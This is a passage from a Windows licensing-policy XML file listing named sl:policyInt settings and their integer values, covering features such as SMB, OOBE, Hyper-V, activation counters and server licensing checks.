name="Kernel-SkipOOBE">0</sl:policyInt><sl:policyInt name="WSW-Policy-Win11Surface">0</sl:policyInt><sl:policyInt name="LSA-Policy-DisableBuiltinAdminByDefault">0</sl:policyInt><sl:policyInt name="LSA-Policy-DisableBuiltinGuestByDefault">0</sl:policyInt><sl:policyInt name="LSA-Policy-EnableCredentialIsolation" attributes="reboot-required">1</sl:policyInt><sl:policyInt name="LSA-Policy-EnableCredentialIsolationConfiguration">0</sl:policyInt><sl:policyInt name="LSA-Policy-EnableTrustedDomains" attributes="reboot-required">0</sl:policyInt><sl:policyInt name="LSA-Policy-RunAsProtectedProcessLight">0</sl:policyInt><sl:policyInt name="MathRecognizerEventsLicensing-EnableMathRecognizer">0</sl:policyInt><sl:policyInt name="MF-SLPolicy-HMFTMeritValidationRequired">1</sl:policyInt><sl:policyInt name="MF-SLPolicy-PMPSessionInProcess">0</sl:policyInt><sl:policyInt name="MF-SLPolicy-SkipOPMVerification">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-CertificateServices-CA-AdvancedTemplateSupport">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-CertificateServices-CA-CertificateManagerRestrictionSupport">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-CertificateServices-CA-CrossForestEnrollmentSupport">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-CertificateServices-CA-ExitModuleSMTPSupport">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-CertificateServices-CA-RoleSeparationSupport">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-Container-License-Mode">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-Core-AllowMultiMon" attributes="reboot-required">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-Core-THQAEnabled">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-CoreSystem-Wlansvc-EnableOnDemandScan">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-CoreSystem-Wlansvc-SoftAPEnable">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-Defender-AntivirusAllowed">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-DesktopWindowManager-Core-AnimatedTransitionsAllowed">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-DesktopWindowManager-Core-Flip3dAllowed">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-DesktopWindowManager-Core-LivePreviewAllowed">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-DesktopWindowManager-Core-TransparencyAllowed">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-DOT11PREF-AllowAdhoc">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-Fax-Common-DeviceLimit">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-Fax-Common-EnableServerPolicy">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-HgsClient-Wmi-Licensing-HgsClientEnabled">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-HVSI-Enabled">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-Hyper-V-AllowDynamicCpuClusterCompatibility">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-Hyper-V-AllowGpuForClusteredVms">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-Hyper-V-IsHciSku">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-IE-InternetExplorer-SupportEnableAutoUpgrade">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-InternetConnectionSharingConfig-HomeNetBeacon">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-InternetConnectionSharingConfig-HomeNetICS">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-netsetupsvc-license-Flpp6InUpperRange">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-netsetupsvc-license-UpperFilters">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-nwifi-license-OptimizeNotifications">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-OfflineFiles-Core-BranchCachingEnabled">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-OfflineFiles-Core-FeatureEnabled">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-OptionalFeatures-UI-Enabled">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-ProximityMessaging-RtApi-App2Device">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-ProximityMessaging-RtApi-Reconnect">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-ProximityMessaging-RtApi-SubscriptionTracking">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-QWAVE-EnableAdaptiveFlow">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-QWAVE-Layer3Probing">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-Sandbox-Enabled">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-Security-NGC-AllowRemoteNGC" attributes="reboot-required">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-SensorsLicense-EnableCPL">0</sl:policyInt><sl:policyInt name="microsoft-windows-virtualization-licensing-EnableHyperVReplica">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-VPN_Prelogon_IsAllowed">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-W32Time-License-SecurityRuntime">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-WaasMedic-Enable-Remediations">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-WinNat-Licensing-EnableDNS64">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-WinNat-Licensing-EnableNAT64">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-WinNat-Licensing-EnableXLAT">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-Virtualization-Win32Containers-Supported">0</sl:policyInt><sl:policyInt name="Microsoft.Windows.Smc-Enabled">0</sl:policyInt><sl:policyInt name="MicrosoftWindowsSafeDocsMain-BackupToNetShare">1</sl:policyInt><sl:policyInt name="MicrosoftWindowsSafeDocsMain-GPSupport">1</sl:policyInt><sl:policyInt name="MicrosoftWindowsSafeDocsMain-PerUserBackup">1</sl:policyInt><sl:policyInt name="MobilePCMobilityCenter-EnableMobilityCenter">0</sl:policyInt><sl:policyInt name="MobilePCPresentationSettings-EnablePresentationSettings">0</sl:policyInt><sl:policyInt name="Mobility-MobilityExperienceAllowed">0</sl:policyInt><sl:policyInt name="msac3enc-DolbyDigitalEncoderV3AddIn">0</sl:policyInt><sl:policyInt name="msac3enc-DolbyDigitalEncoderV3AddInEnable">1</sl:policyInt><sl:policyInt name="msac3enc-DolbyDigitalEncoderV3InSKU">0</sl:policyInt><sl:policyInt name="MSAudDecMFT-AACDecoderV3AddIn">0</sl:policyInt><sl:policyInt name="MSAudDecMFT-AACDecoderV3AddInEnable">1</sl:policyInt><sl:policyInt name="MSAudDecMFT-AACDecoderV3InSKU">1</sl:policyInt><sl:policyInt name="msmpeg2adec-AACDecoderV2AddIn">0</sl:policyInt><sl:policyInt name="msmpeg2adec-AACDecoderV2AddInEnable">1</sl:policyInt><sl:policyInt name="msmpeg2adec-AACDecoderV2InSKU">1</sl:policyInt><sl:policyInt name="msmpeg2adec-DolbyDigitalDecoderV3AddIn">0</sl:policyInt><sl:policyInt name="msmpeg2adec-DolbyDigitalDecoderV3AddInEnable">1</sl:policyInt><sl:policyInt name="msmpeg2adec-DolbyDigitalDecoderV3InSKU">1</sl:policyInt><sl:policyInt name="msmpeg2enc-MPEG2VideoEncoderV3AddIn">0</sl:policyInt><sl:policyInt name="msmpeg2enc-MPEG2VideoEncoderV3AddInEnable">1</sl:policyInt><sl:policyInt name="msmpeg2enc-MPEG2VideoEncoderV3InSKU">0</sl:policyInt><sl:policyInt name="msmpeg2vdec-H264VideoDecoderV2AddIn">0</sl:policyInt><sl:policyInt name="msmpeg2vdec-H264VideoDecoderV2AddInEnable">1</sl:policyInt><sl:policyInt name="msmpeg2vdec-H264VideoDecoderV2InSKU">1</sl:policyInt><sl:policyInt name="msmpeg2vdec-MPEG2VideoDecoderV3AddIn">0</sl:policyInt><sl:policyInt name="msmpeg2vdec-MPEG2VideoDecoderV3AddInEnable">1</sl:policyInt><sl:policyInt name="msmpeg2vdec-MPEG2VideoDecoderV3InSKU">0</sl:policyInt><sl:policyInt name="msoobe-FirstLogonAnim-MayBeDisabled">0</sl:policyInt><sl:policyInt name="NcaSvc-License-Enabled">0</sl:policyInt><sl:policyInt name="Networking-MPSSVC-Svc-License-NetIsolationOnly">0</sl:policyInt><sl:policyInt name="NetworkProfile-License-CostEnabled">0</sl:policyInt><sl:policyInt name="NetworkSecurity-IKE-Kerberos">1</sl:policyInt><sl:policyInt name="NetworkSecurity-IKE-LowMemorySystem">0</sl:policyInt><sl:policyInt name="NetworkSecurity-IPsecDoSProtection-EnabledPolicy">0</sl:policyInt><sl:policyInt name="nfs-admincmdtools-enabled">0</sl:policyInt><sl:policyInt name="nfs-adminmmc-enabled">0</sl:policyInt><sl:policyInt name="nfs-clientcmdtools-enabled">0</sl:policyInt><sl:policyInt name="nfs-clientcore-enabled">0</sl:policyInt><sl:policyInt name="nfs-servercmdtools-enabled">0</sl:policyInt><sl:policyInt name="nfs-servercore-enabled">0</sl:policyInt><sl:policyInt name="nfs-server-databox-disabled">0</sl:policyInt><sl:policyInt name="NlaSvc-Licensing-LANIds-BSSIDRetrieval-Enabled">0</sl:policyInt><sl:policyInt name="NlaSvc-Licensing-LANIds-LLDPDriver-Enabled">0</sl:policyInt><sl:policyInt name="NlaSvc-Licensing-LANIds-Service-Enabled">0</sl:policyInt><sl:policyInt name="OneDrive-Business-Known-Folder-Move">0</sl:policyInt><sl:policyInt name="OneDrive-Business-Known-Folder-Move-Block-Opt-Out">0</sl:policyInt><sl:policyInt name="OneDrive-Business-Single-SignOn">0</sl:policyInt><sl:policyInt name="OOBE-Disable-ExpeditedUpdate">0</sl:policyInt><sl:policyInt name="OOBE-Disable-SkipMSA">0</sl:policyInt><sl:policyInt name="OOBE-Disable-SkipNetwork">0</sl:policyInt><sl:policyInt name="OOBE-Disable-SkipOneDrive">0</sl:policyInt><sl:policyInt name="OOBE-Disable-Voice">0</sl:policyInt><sl:policyInt name="OOBE-ServerIsClient">0</sl:policyInt><sl:policyInt name="OOBE-License-AllowSecondChanceOobe">0</sl:policyInt><sl:policyInt name="OOBE-Reconnect-Network">0</sl:policyInt><sl:policyInt name="OOBE-Skip-CloudBackupRestore">0</sl:policyInt><sl:policyInt name="OOBE-Skip-PhonePairing">0</sl:policyInt><sl:policyInt name="OOBE-Skip-OEMRegistration">0</sl:policyInt><sl:policyInt name="OrchestratorUpdateHandlersPolicies-DeferredInstallDisabled">0</sl:policyInt><sl:policyInt name="parentalcontrols-EnableFeature">0</sl:policyInt><sl:policyInt name="PBR-In-CloudE">0</sl:policyInt><sl:policyInt name="PEAuth-Available">0</sl:policyInt><sl:policyInt name="PeerDist-Common-BITS-Client-Enabled">0</sl:policyInt><sl:policyInt name="PeerDist-Common-Client-Enabled">0</sl:policyInt><sl:policyInt name="PeerDist-Common-GeneralHTTP-Client-Enabled">0</sl:policyInt><sl:policyInt name="PeerDist-Common-HostedCache-Enabled">0</sl:policyInt><sl:policyInt name="PeerDist-Common-KMDriver-Enabled">0</sl:policyInt><sl:policyInt name="PeerDist-Common-Server-Enabled">0</sl:policyInt><sl:policyInt name="PeerToPeerBase-Graphing-EnabledPolicy">0</sl:policyInt><sl:policyInt name="PeerToPeerBase-Grouping-EnabledPolicy">0</sl:policyInt><sl:policyInt name="PeerToPeerBase-IdManager-EnabledPolicy">0</sl:policyInt><sl:policyInt name="PeerToPeerBase-Pnrp-EnabledPolicy">0</sl:policyInt><sl:policyInt name="PersistentMemory-MaxTotalSize">0</sl:policyInt><sl:policyInt name="PersonalizationCSP-BlockOnNonEdu">0</sl:policyInt><sl:policyInt name="Personalization-Enabled">0</sl:policyInt><sl:policyInt name="PhotoMinFeature-AdvancedSlideshow">0</sl:policyInt><sl:policyInt name="PhotoMinFeature-MakeDVD">0</sl:policyInt><sl:policyInt name="PickerRestrictedPolicy-Enabled">0</sl:policyInt><sl:policyInt name="Power-IdleStatesMax-Enabled">0</sl:policyInt><sl:policyInt name="Power-UltimatePerformanceScheme-Enabled">0</sl:policyInt><sl:policyInt name="Printing-Spooler-Core-Localspl-Licensing-Enabled">0</sl:policyInt><sl:policyInt name="Printing-Spooler-Core-Spoolss-Licensing-Enabled">0</sl:policyInt><sl:policyInt name="Printing-Spooler-Pmc-Licensing-Enabled">0</sl:policyInt><sl:policyInt name="Provisioning-SecuredCore-Enabled">0</sl:policyInt><sl:policyInt name="provsvc-license-HomeGroupCreate">1</sl:policyInt><sl:policyInt name="RasBase-DefaultConnections" attributes="reboot-required">2</sl:policyInt><sl:policyInt name="RasBase-DisableDialup">0</sl:policyInt><sl:policyInt name="RasBase-DisableIsdn">0</sl:policyInt><sl:policyInt name="RasBase-DisableRasScript">0</sl:policyInt><sl:policyInt name="RasBase-EnableOnDemandDriverLoad">0</sl:policyInt><sl:policyInt name="RasBase-MaxConnections" attributes="reboot-required">3</sl:policyInt><sl:policyInt name="RasBase-RasMobileCore">0</sl:policyInt><sl:policyInt name="RetailDemo.License-RetailDemoAllowed">0</sl:policyInt><sl:policyInt name="RPC-SKU-Policy-ExceptionFilterMode-Enabled">0</sl:policyInt><sl:policyInt name="Search-DynamicSearchBox-Enabled">1</sl:policyInt><sl:policyInt name="Search-ManageWebSearch-Enabled">0</sl:policyInt><sl:policyInt name="Search-WebSearch-Enabled">1</sl:policyInt><sl:policyInt name="SecureStartupFeature-Disabled-AutomaticDeviceEncryption">0</sl:policyInt><sl:policyInt name="SecureStartupFeature-Enabled">0</sl:policyInt><sl:policyInt name="SecureStartupFeature-Enabled-DeviceEncryption">0</sl:policyInt><sl:policyInt name="SecureStartupFeature-Enabled-DeviceEncryption-BlockRevert">0</sl:policyInt><sl:policyInt name="SecureStartupFeature-Enabled-Driver">0</sl:policyInt><sl:policyInt name="SecureStartupFeature-Enabled-PreInstall">0</sl:policyInt><sl:policyInt name="SecureStartupFeature-Enabled-Premium">0</sl:policyInt><sl:policyInt name="SecureStartupFeature-PerfWarning">0</sl:policyInt><sl:policyInt name="Storage-Should-Avoid-LocalStorage">0</sl:policyInt><sl:policyInt name="DeviceEncryption-WindowsCore-OSMain">0</sl:policyInt><sl:policyInt name="DeviceEncryption-WindowsCore-BSP">0</sl:policyInt><sl:policyInt name="DeviceEncryption-WindowsCore-DPP">0</sl:policyInt><sl:policyInt name="DeviceEncryption-WindowsCore-WSP">0</sl:policyInt><sl:policyInt name="DeviceEncryption-WindowsCore-OSData">0</sl:policyInt><sl:policyInt name="DeviceEncryption-WindowsCore-PreInstalled">0</sl:policyInt><sl:policyInt name="DeviceEncryption-WindowsCore-UserData">0</sl:policyInt><sl:policyInt name="DeviceEncryption-WindowsCore-ServicingMetadata">0</sl:policyInt><sl:policyInt name="DeviceEncryption-WindowsCore-ServicingFiles">0</sl:policyInt><sl:policyInt name="DeviceEncryption-WindowsCore-ServicingReserve">0</sl:policyInt><sl:policyInt name="DataProtectionUnderLock-WindowsCore-Enabled">0</sl:policyInt><sl:policyInt name="DataProtectionUnderLock-WindowsCore-ContainerOS-Enabled">0</sl:policyInt><sl:policyInt name="DPL-AppDataL1ByDefaultOnAllApps-Enabled">0</sl:policyInt><sl:policyInt name="SConfig-AllowManageTelemetry">1</sl:policyInt><sl:policyInt name="SConfig-AllowPreviewChannelOptIn">0</sl:policyInt><sl:policyInt name="SConfig-WindowsActivationHidden">0</sl:policyInt><sl:policyInt name="SConfig-FeatureUpdateVersion">0</sl:policyInt><sl:policyInt name="Security-SPP-AzureArcSubscription">0</sl:policyInt><sl:policyInt name="Security-SPP-AzureArcIotSubscription">0</sl:policyInt><sl:policyInt name="Security-SPP-AzureArcValueAddedSubscription">0</sl:policyInt><sl:policyInt name="Security-SPP-ActivationResetCount">1001</sl:policyInt><sl:policyInt name="Security-SPP-ActivationResetCountMax">2147483647</sl:policyInt><sl:policyInt name="Security-SPP-ApplicationActivationResetCount">1001</sl:policyInt><sl:policyInt name="Security-SPP-ApplicationActivationResetCountMax">2147483647</sl:policyInt><sl:policyInt name="Security-SPP-CMIDExpirationPeriod">43200</sl:policyInt><sl:policyInt name="Security-SPP-EvaluationModeEnabled">0</sl:policyInt><sl:policyInt name="Security-SPP-GenuineLocalStatus">1</sl:policyInt><sl:policyInt name="Security-SPP-FlexibleClipEnabled">0</sl:policyInt><sl:policyInt name="Security-SPP-FlexibleClip-IndependentActivation">0</sl:policyInt><sl:policyInt name="Security-SPP-AzureImdsResponse">0</sl:policyInt><sl:policyInt name="Security-SPP-ProductType">0</sl:policyInt><sl:policyInt name="Security-SPP-Reserved-SkuPpdConsumed">0</sl:policyInt><sl:policyInt name="Security-SPP-SharedLicense">0</sl:policyInt><sl:policyInt name="Security-SPP-AllowStoreGetGenuine">0</sl:policyInt><sl:policyInt name="Security-SPP-AllowOSReactivation">0</sl:policyInt><sl:policyInt name="Security-SPP-AllowBrandingOverride">0</sl:policyInt><sl:policyInt name="Security-SSP-DisableProductKeyChange">0</sl:policyInt><sl:policyInt name="Security-SPP-SModeEditionLocked">0</sl:policyInt><sl:policyInt name="Security-SPP-IgnoreOAMarkerVersion">0</sl:policyInt><sl:policyInt name="AzureStackHCI-EnableOEMSupport">0</sl:policyInt><sl:policyInt name="AzureStackHCI-OEM-ActivationState">0</sl:policyInt><sl:policyInt name="Settings-ServerIsClient">0</sl:policyInt><sl:policyInt name="Activation-EnabledInfoBarMessage">0</sl:policyInt><sl:policyInt name="Activation-EnabledActiveStateSubtitle">0</sl:policyInt><sl:policyInt name="Security-SPP-LowerEventLogType-DeferredState">0</sl:policyInt><sl:policyInt name="Server-Shell-Settings-WindowsInsiders-Enabled">0</sl:policyInt><sl:policyInt name="ServicingStack-License-GenericUpdateStrings-Enabled">0</sl:policyInt><sl:policyInt name="ServicingStack-License-ReservedStorageAllowed">0</sl:policyInt><sl:policyInt name="ServicingStack-License-Support-MicrosoftCrossRoot-Signature">0</sl:policyInt><sl:policyInt name="ServicingStack-License-Support-WHQL-Signature">0</sl:policyInt><sl:policyInt name="Shell-Animations-Enabled-First-SignIn">1</sl:policyInt><sl:policyInt name="Shell-ConfigureChatIcon-State">3</sl:policyInt><sl:policyInt name="Shell-UserIntentDevicePersonalization-Enabled">0</sl:policyInt><sl:policyInt name="Shell-Settings-ValueBanner-Enabled">0</sl:policyInt><sl:policyInt name="Shell-Settings-BrowserDefaults-Enabled">0</sl:policyInt><sl:policyInt name="Shell-Settings-Privacy-DiagnosticsFeedback-DDVSilentInstall">0</sl:policyInt><sl:policyInt name="Shell-Federated-Authentication-Allowed">0</sl:policyInt><sl:policyInt name="Shell-GamingOverlayExperienceManager-Enabled">1</sl:policyInt><sl:policyInt name="shell-homegroup-Enabled">0</sl:policyInt><sl:policyInt name="Shell-InBoxGames-FreeCell-EnableGame">0</sl:policyInt><sl:policyInt name="Shell-InBoxGames-Hearts-EnableGame">0</sl:policyInt><sl:policyInt name="Shell-InBoxGames-Minesweeper-EnableGame">0</sl:policyInt><sl:policyInt name="Shell-InBoxGames-PurblePlace-EnableGame">0</sl:policyInt><sl:policyInt name="Shell-InBoxGames-Shanghai-EnableGame">0</sl:policyInt><sl:policyInt name="Shell-InBoxGames-Solitaire-EnableGame">0</sl:policyInt><sl:policyInt name="Shell-InBoxGames-SpiderSolitaire-EnableGame">0</sl:policyInt><sl:policyInt name="Shell-MultiplayerInboxGames-Backgammon-EnableGame">0</sl:policyInt><sl:policyInt name="Shell-MultiplayerInboxGames-Checkers-EnableGame">0</sl:policyInt><sl:policyInt name="Shell-MultiplayerInboxGames-Common-EnableGame">0</sl:policyInt><sl:policyInt name="Shell-MultiplayerInboxGames-Spades-EnableGame">0</sl:policyInt><sl:policyInt name="Shell-PremiumInBoxGames-Chess-EnableGame">0</sl:policyInt><sl:policyInt name="Shell-Transparency-Effects-Enabled-First-SignIn">1</sl:policyInt><sl:policyInt name="Shell-VirtualDesktop-Enabled">1</sl:policyInt><sl:policyInt name="Shell-Windowing-LimitSnappedWindows">0</sl:policyInt><sl:policyInt name="Shell-Windowing-ShowMaximized">0</sl:policyInt><sl:policyInt name="Shell-WindowTabHost-Enabled">1</sl:policyInt><sl:policyInt name="Shell-WinXMenu-Enabled">1</sl:policyInt><sl:policyInt name="shell32-license-GroupPolicy-TryHarderPinned">0</sl:policyInt><sl:policyInt name="shell32-license-ShowBackupReminder">0</sl:policyInt><sl:policyInt name="shell32-license-ShowProductNameOnDesktop">0</sl:policyInt><sl:policyInt name="shell32-license-UseBingAsDefaultSearchProvider">0</sl:policyInt><sl:policyInt name="SILicensing-CALDefault-User-Prm-Split">100</sl:policyInt><sl:policyInt name="SILicensing-CALDefault-User-Std-Split">100</sl:policyInt><sl:policyInt name="SILicensing-CALDefaultPremium-Count">0</sl:policyInt><sl:policyInt name="SILicensing-CALDefaultStandard-Count">0</sl:policyInt><sl:policyInt name="SILicensing-CALEnfCheck-Count">4</sl:policyInt><sl:policyInt name="SILicensing-CALEnfCheckEnabled">0</sl:policyInt><sl:policyInt name="SILicensing-CALEnfCheckFailureTolerationForCorrectiveAction-Count">12</sl:policyInt><sl:policyInt name="SILicensing-CALEnfCheckInitialGrace-Count">336</sl:policyInt><sl:policyInt name="SILicensing-CALEnfCheckRunInSafeMode">0</sl:policyInt><sl:policyInt name="SILicensing-CALEnfCheckShutdownTolerationLimit-Count">144</sl:policyInt><sl:policyInt name="SILicensing-CALTemporaryPremiumDevice-Count">0</sl:policyInt><sl:policyInt name="SILicensing-CALTemporaryPremiumUser-Count">0</sl:policyInt><sl:policyInt name="SILicensing-CALTemporaryStandardDevice-Count">0</sl:policyInt><sl:policyInt name="SILicensing-CALTemporaryStandardUser-Count">0</sl:policyInt><sl:policyInt name="SILicensing-CheckInterval-Mins">30</sl:policyInt><sl:policyInt name="SILicensing-DCCheck-Count">24</sl:policyInt><sl:policyInt name="SILicensing-DCCheckEnabled">0</sl:policyInt><sl:policyInt name="SILicensing-DCCheckFailureTolerationForCorrectiveAction-Count">3</sl:policyInt><sl:policyInt name="SILicensing-DCCheckInitialGrace-Count">336</sl:policyInt><sl:policyInt name="SILicensing-DCCheckRunInSafeMode">0</sl:policyInt><sl:policyInt name="SILicensing-DCCheckShutdownTolerationLimit-Count">432</sl:policyInt><sl:policyInt name="SILicensing-DependencyCheckRetryCount">12</sl:policyInt><sl:policyInt name="SILicensing-DependencyWaitInterval-Secs">10</sl:policyInt><sl:policyInt name="SILicensing-ExternalChecks-Count">2</sl:policyInt><sl:policyInt name="SILicensing-ExternalChecksEnabled">0</sl:policyInt><sl:policyInt name="SILicensing-ExternalChecksFailureTolerationForCorrectiveAction-Count">24</sl:policyInt><sl:policyInt name="SILicensing-ExternalChecksInitialGrace-Count">336</sl:policyInt><sl:policyInt name="SILicensing-ExternalChecksRunInSafeMode">0</sl:policyInt><sl:policyInt name="SILicensing-ExternalChecksShutdownTolerationLimit-Count">144</sl:policyInt><sl:policyInt name="SILicensing-FSMOCheck-Count">24</sl:policyInt><sl:policyInt name="SILicensing-FSMOCheckEnabled">0</sl:policyInt><sl:policyInt name="SILicensing-FSMOCheckFailureTolerationForCorrectiveAction-Count">3</sl:policyInt><sl:policyInt name="SILicensing-FSMOCheckInitialGrace-Count">336</sl:policyInt><sl:policyInt name="SILicensing-FSMOCheckRolesMask">6</sl:policyInt><sl:policyInt name="SILicensing-FSMOCheckRunInSafeMode">0</sl:policyInt><sl:policyInt name="SILicensing-FSMOCheckShutdownTolerationLimit-Count">432</sl:policyInt><sl:policyInt name="SILicensing-FTCheck-Count">24</sl:policyInt><sl:policyInt name="SILicensing-FTCheckCorrectiveAction">1</sl:policyInt><sl:policyInt name="SILicensing-FTCheckEnabled">0</sl:policyInt><sl:policyInt name="SILicensing-FTCheckFailureTolerationForCorrectiveAction-Count">3</sl:policyInt><sl:policyInt name="SILicensing-FTCheckInitialGrace-Count">336</sl:policyInt><sl:policyInt name="SILicensing-FTCheckRunInSafeMode">0</sl:policyInt><sl:policyInt name="SILicensing-FTCheckShutdownTolerationLimit-Count">432</sl:policyInt><sl:policyInt name="SILicensing-GraceTemporary-Days">0</sl:policyInt><sl:policyInt name="SILicensing-InitialGraceAllowedCount">10</sl:policyInt><sl:policyInt name="SILicensing-LaunchNotifier">0</sl:policyInt><sl:policyInt name="SILicensing-MaxCALs-Count">0</sl:policyInt><sl:policyInt name="SILicensing-NonDMCheck-Count">24</sl:policyInt><sl:policyInt name="SILicensing-NonDMCheckEnabled">0</sl:policyInt><sl:policyInt name="SILicensing-NonDMCheckFailureTolerationForCorrectiveAction-Count">3</sl:policyInt><sl:policyInt name="SILicensing-NonDMCheckInitialGrace-Count">336</sl:policyInt><sl:policyInt name="SILicensing-NonDMCheckRunInSafeMode">0</sl:policyInt><sl:policyInt name="SILicensing-NonDMCheckShutdownTolerationLimit-Count">432</sl:policyInt><sl:policyInt name="SILicensing-PrimeCheck-Count">24</sl:policyInt><sl:policyInt name="SILicensing-PrimeCheckEnabled">0</sl:policyInt><sl:policyInt name="SILicensing-PrimeCheckFailureTolerationForCorrectiveAction-Count">3</sl:policyInt><sl:policyInt name="SILicensing-PrimeCheckInitialGrace-Count">336</sl:policyInt><sl:policyInt name="SILicensing-PrimeCheckRunInSafeMode">0</sl:policyInt><sl:policyInt name="SILicensing-PrimeCheckShutdownTolerationLimit-Count">432</sl:policyInt><sl:policyInt name="SILicensing-PrimeCountCheck-Count">24</sl:policyInt><sl:policyInt name="SILicensing-PrimeCountCheckEnabled">0</sl:policyInt><sl:policyInt name="SILicensing-PrimeCountCheckFailureTolerationForCorrectiveAction-Count">3</sl:policyInt><sl:policyInt name="SILicensing-PrimeCountCheckInitialGrace-Count">336</sl:policyInt><sl:policyInt name="SILicensing-PrimeCountCheckRunInSafeMode">0</sl:policyInt><sl:policyInt name="SILicensing-PrimeCountCheckShutdownTolerationLimit-Count">432</sl:policyInt><sl:policyInt name="SILicensing-PrimeServerCount">0</sl:policyInt><sl:policyInt name="SILicensing-PrimeServerIndicator">1981</sl:policyInt><sl:policyInt name="SILicensing-RootDomainCheck-Count">24</sl:policyInt><sl:policyInt name="SILicensing-RootDomainCheckEnabled">0</sl:policyInt><sl:policyInt name="SILicensing-RootDomainCheckFailureTolerationForCorrectiveAction-Count">3</sl:policyInt><sl:policyInt name="SILicensing-RootDomainCheckInitialGrace-Count">336</sl:policyInt><sl:policyInt name="SILicensing-RootDomainCheckRunInSafeMode">0</sl:policyInt><sl:policyInt name="SILicensing-RootDomainCheckShutdownTolerationLimit-Count">432</sl:policyInt><sl:policyInt name="SILicensing-UserCountCheck-Count">24</sl:policyInt><sl:policyInt name="SILicensing-UserCountCheckADAllowed">15</sl:policyInt><sl:policyInt name="SILicensing-UserCountCheckADTolerance">5</sl:policyInt><sl:policyInt name="SILicensing-UserCountCheckEnabled">0</sl:policyInt><sl:policyInt name="SILicensing-UserCountCheckFailureTolerationForCorrectiveAction-Count">3</sl:policyInt><sl:policyInt name="SILicensing-UserCountCheckInitialGrace-Count">336</sl:policyInt><sl:policyInt name="SILicensing-UserCountCheckLocalAllowed">15</sl:policyInt><sl:policyInt name="SILicensing-UserCountCheckLocalTolerance">5</sl:policyInt><sl:policyInt name="SILicensing-UserCountCheckRunInSafeMode">0</sl:policyInt><sl:policyInt name="SILicensing-UserCountCheckShutdownTolerationLimit-Count">432</sl:policyInt><sl:policyInt name="SLC-Component-SKU-OCUR-OCURControlContentAllowed">0</sl:policyInt><sl:policyInt name="SMBClient-AllowRdmaUsage">0</sl:policyInt><sl:policyInt name="SMBClient-AllowInsecureGuestAuthByDefault">1</sl:policyInt><sl:policyInt name="SMBClient-RequireSigningByDefault">0</sl:policyInt><sl:policyInt name="SMBServer-RequireSigningByDefault">0</sl:policyInt><sl:policyInt name="SMBServer-AllowHashPublication">0</sl:policyInt><sl:policyInt name="SMBServer-AllowRemoteLegacyShadowCopyAccess">0</sl:policyInt><sl:policyInt name="SMBServer-AllowRemoteShadowCopyAccess">1</sl:policyInt><sl:policyInt name="SMBServer-WindowsMaxInSMBConns">20</sl:policyInt><sl:policyInt name="SMBServer-AllowRdmaUsage">0</sl:policyInt><sl:policyInt name="SMBServer-ListenOverQUIC">0</sl:policyInt><sl:policyInt name="SMBServer-InvalidAuthenticationDelayTimeInMs">2000</sl:policyInt><sl:policyInt name="SMB1Deprecation-Enabled">0</sl:policyInt><sl:policyInt name="SMR-HostManaged-Enabled">0</sl:policyInt><sl:policyInt name="SnippingToolLicensing-Enabled">0</sl:policyInt><sl:policyInt name="StartMenu-ShowWindowsTools">1</sl:policyInt><sl:policyInt name="Start-DeferAllAppsInitialization">0</sl:policyInt><sl:policyInt name="StickyNotesLicensing-Enabled">0</sl:policyInt><sl:policyInt name="StorageReplica-Standard-Restriction">0</sl:policyInt><sl:policyInt name="StorageSpaces-ClusterThinProvisioningEnabled">0</sl:policyInt><sl:policyInt name="Store-PrivateStoreOnly-Enabled">0</sl:policyInt><sl:policyInt name="TabletPC-MathInputLicensing-EnableMathInput">0</sl:policyInt><sl:policyInt name="TabletPC-tabbtn-EnableButtons">0</sl:policyInt><sl:policyInt name="TabletPCAccessories-EnableJournal">0</sl:policyInt><sl:policyInt name="TabletPCAccessories-EnableStickyNotes">0</sl:policyInt><sl:policyInt name="TabletPCInputPanel-EnableTIP" attributes="reboot-required">0</sl:policyInt><sl:policyInt name="TabletPCInputPanel-EnableTIPSynced">0</sl:policyInt><sl:policyInt name="TabletPCPlatformInput-core-EnableTouchUI">0</sl:policyInt><sl:policyInt name="TabletPCPlatformInput-core-MultiTouchGestures" attributes="reboot-required">0</sl:policyInt><sl:policyInt name="TabletPCPlatformInput-core-SFP" attributes="reboot-required">0</sl:policyInt><sl:policyInt 